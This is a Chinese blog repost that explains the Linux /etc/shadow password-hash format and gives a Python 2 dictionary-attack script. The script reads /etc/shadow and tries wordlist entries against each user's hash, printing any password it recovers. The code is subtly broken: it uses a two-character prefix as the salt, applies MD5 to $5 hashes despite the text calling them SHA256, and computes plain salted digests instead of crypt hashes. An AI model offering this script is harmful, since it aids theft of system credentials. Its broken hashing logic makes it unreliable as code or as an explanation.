首页 > 代码库 > linux shadow文件破解
linux shadow文件破解
linux shadow文件破解程序
解析shadow文件中密码字符串的内容
对于示例的密码域$1$Bg1H/4mz$X89TqH7tpi9dX1B9j5YsF.,我们参考了Linux标准源文件passwd.c,在其中的pw_encrypt函数中找到了加密方法。
我们发现所谓的加密算法,其实就是用明文密码和一个叫salt的东西通过函数crypt()完成加密。
而所谓的密码域密文也是由三部分组成的,即:$id$salt$encrypted。
【注】:
id为1时,采用md5进行加密;
id为5时,采用SHA256进行加密;
id为6时,采用SHA512进行加密。
# -*- coding: utf-8 -*- import crypt import sys import hashlib dictionary=sys.argv[1] def enMd5(word,salt): md5_obj=hashlib.md5() md5_obj.update(word+salt) return md5_obj.hexdigest() def enSha512(word,salt): sha512_obj=hashlib.sha512() sha512_obj.update(word+salt) return sha512_obj.hexdigest() def testPass(cryptPass): salt=cryptPass[0:2] dictFile=open(dictionary,‘r‘) for word in dictFile.readlines(): word=word.strip(‘\n‘) if salt==‘$1‘: cryptWord=crypt.crypt(word,salt) elif salt==‘$5‘: cryptWord=enMd5(word,salt) elif salt==‘$6‘: cryptWord=enSha512(word,salt) else: return if (cryptWord==cryptPass): print "[+] Found Password:"+word+"\n" return print "[-] Password Not Found.\n" return def main(): passFile=open(‘/etc/shadow‘) for line in passFile.readlines(): if ":" in line: user=line.split(‘:‘)[0] cryptPass=line.split(‘:‘)[1].strip(‘ ‘) print "[*] Cracking Password For:"+user testPass(cryptPass) if __name__=="__main__": main()
本文出自 “菜鸟学习笔记” 博客,请务必保留此出处http://bohel.blog.51cto.com/6218546/1954113
linux shadow文件破解
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。